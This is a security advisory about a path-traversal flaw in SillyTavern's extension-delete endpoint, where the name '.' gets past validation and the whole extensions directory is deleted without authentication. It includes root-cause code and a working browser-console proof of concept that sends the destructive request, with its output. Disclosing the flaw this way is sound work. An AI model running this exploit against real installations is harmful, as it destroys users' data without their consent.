SillyTavern has a Path Traversal issue

Summary

POST /api/extensions/delete endpoint accepts extensionName: "." which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration.

Affected File

src/endpoints/extensions.js (last modified: commit 3ad9b05e2)

Root Cause

The validation check occurs before sanitization:

// [1] "." is truthy — passes the check
if (!request.body.extensionName) {
    return response.status(400).send('Bad Request');
}

// [2] sanitize(".")  →  ""
const extensionPath = path.join(basePath, sanitize(extensionName));
// path.join("data\\default-user\\extensions", "")
// = "data\\default-user\\extensions"  ← basePath itself!

// [3] Deletes the entire extensions directory
await fs.promises.rm(extensionPath, { recursive: true });

sanitize-filename converts "." to "" (documented behavior).
path.join(basePath, "") returns basePath itself.
Result: the entire data\default-user\extensions\ directory is deleted.

Proof of Concept

Tested on: Windows 10, SillyTavern v1.17.0, commit 004f1336e
Authentication: none (basicAuthMode: false, default configuration)

Run in browser console (F12) while SillyTavern is open:

async function poc() {
    const { token } = await (await fetch('/csrf-token')).json();
    const headers = {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token,
    };

    // Before: 1 extension installed
    const before = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('Before:', before.filter(e => e.type === 'local'));
    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]

    // Attack
    const res = await fetch('/api/extensions/delete', {
        method: 'POST',
        headers,
        body: JSON.stringify({ extensionName: '.' }),
    });
    console.log('Status:', res.status);      // 200
    console.log('Body:', await res.text());  // "Extension has been deleted at data\default-user\extensions"

    // After: empty
    const after = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('After:', after.filter(e => e.type === 'local'));
    // []
}
poc();

Result: Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: []